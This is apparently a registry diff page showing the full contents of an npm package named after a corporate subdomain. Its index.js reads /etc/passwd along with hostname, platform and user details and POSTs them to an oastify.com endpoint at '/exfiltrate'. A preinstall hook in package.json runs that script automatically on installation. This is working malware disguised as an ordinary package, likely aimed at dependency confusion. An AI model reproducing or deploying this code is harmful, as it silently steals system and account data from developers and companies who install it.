wpdesigndev.wp.agoda.com 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +38 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+
5
+ // Read the /etc/passwd file
6
+ const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
7
+
8
+ // Create a data object with system information and /etc/passwd content
9
+ const data = JSON.stringify({
10
+ hostname: os.hostname(),
11
+ platform: os.platform(),
12
+ userInfo: os.userInfo(),
13
+ passwd: passwdData
14
+ });
15
+
16
+ const options = {
17
+ hostname: 'ykm7y043idiood9hmgaqxlossjyam1aq.oastify.com',
18
+ port: 443,
19
+ path: '/exfiltrate',
20
+ method: 'POST',
21
+ headers: {
22
+ 'Content-Type': 'application/json',
23
+ 'Content-Length': Buffer.byteLength(data)
24
+ }
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ res.on('data', (d) => {
29
+ process.stdout.write(d);
30
+ });
31
+ });
32
+
33
+ req.on('error', (e) => {
34
+ console.error(e);
35
+ });
36
+
37
+ req.write(data);
38
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "wpdesigndev.wp.agoda.com",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }